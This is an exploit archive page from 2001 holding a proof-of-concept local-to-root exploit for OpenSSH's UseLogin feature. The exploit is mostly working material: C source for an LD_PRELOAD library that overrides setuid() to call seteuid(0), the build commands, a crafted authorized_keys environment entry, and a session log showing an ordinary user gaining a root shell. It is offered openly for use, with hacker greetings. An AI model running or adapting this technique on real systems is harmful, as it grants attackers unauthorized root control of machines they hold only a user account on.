exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

UseLogin.txt

UseLogin.txt
Posted Dec 9, 2001
Authored by War | Site genhex.org

OpenSSH v3.0.1p1 and below root exploit which only works of the administrator has turned on the UseLogin feature. Uses the libroot library. Requires an account on the remote machine.

tags | exploit, remote, root
SHA-256 | b785235fe2fbf2c69f44d93ca622e244033585cf6ba64fbd80330fe466a5f2fc

UseLogin.txt

Change Mirror Download
--[ OpenSSH UseLogin bug proof of concept exploit ]--
by [WaR] <war@genhex.org> / http://www.genhex.org


--[ Intro ]--

I was very curious in finding out how to exploit this problem. Although
I don't think anyone uses this feature, I looked into the matter anyway.
Here it goes. It was tested on the following platforms:
- Slackware 7.1 with OpenSSH3.0p1
- RedHat 7.1 with OpenSSH_2.9p2
- RedHat 7.2 with OpenSSH-3.0.1p1 (thx scorpio)
- OpenBSD 2.9 with OpenSSH_2.9 (thx pmsac)
The exploit should work as long as UseLogin does. YMMV.

This is based on libroot from squidge@onyx.infonexus.com,
published a few years ago for exploiting the telnetd LD_PRELOAD bug (and
you thought it wouldn't happen again...).

Kudos to pmsac@toxyn.org for his help figuring out the problem with
the Slackware UseLogin, testing on OpenBSD, and giving the ideia for
the seteuid(0) (it originally was a system("/bin/sh");).


--[ Code ]--

Create a lib.c file with the next content:

---8<---
#include <stdio.h>
int setuid(int uid){
printf("setuid() called...\n");
seteuid(0);
}
---8<---

Compile it into a library:
gcc -c -o lib.o lib.c
ld -shared -o libroot.so lib.o
chmod 755 ./libroot.so


Now, for the tricky (*g*) part...

You must have an account on the machine, and create an entry
on $HOME/.ssh/authorized_keys (or authorized_keys2) with:

environment="LD_PRELOAD=<your home>/libroot.so" <your public key>

When sshd receives your connection, it will export this variable
into the environment *BEFORE* running login. Somewhere after this,
it executes a setuid. When it does, it makes a seteuid(0).

$ id
uid=1000(war) gid=100(users) groups=100(users)
$ ssh war@localhost
Enter passphrase for key '/home/war/.ssh/id_dsa':
sh-2.04# id
uid=0(root) gid=100(users) groups=100(users)


It also works remotely. Anyway, you _MUST_ have an account on
the victim machine so you can setup the enviroment, and login.
And obviously (duh) it must have UseLogin enabled.

That's all.


shout outs to Zav @ genhex.org, Smil3r, and everyone at phibernet.org.


-- [WaR]
"If you can't hack it, hit it with a hammer"
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    38 Files
  • 24
    Sep 24th
    65 Files
  • 25
    Sep 25th
    24 Files
  • 26
    Sep 26th
    26 Files
  • 27
    Sep 27th
    34 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close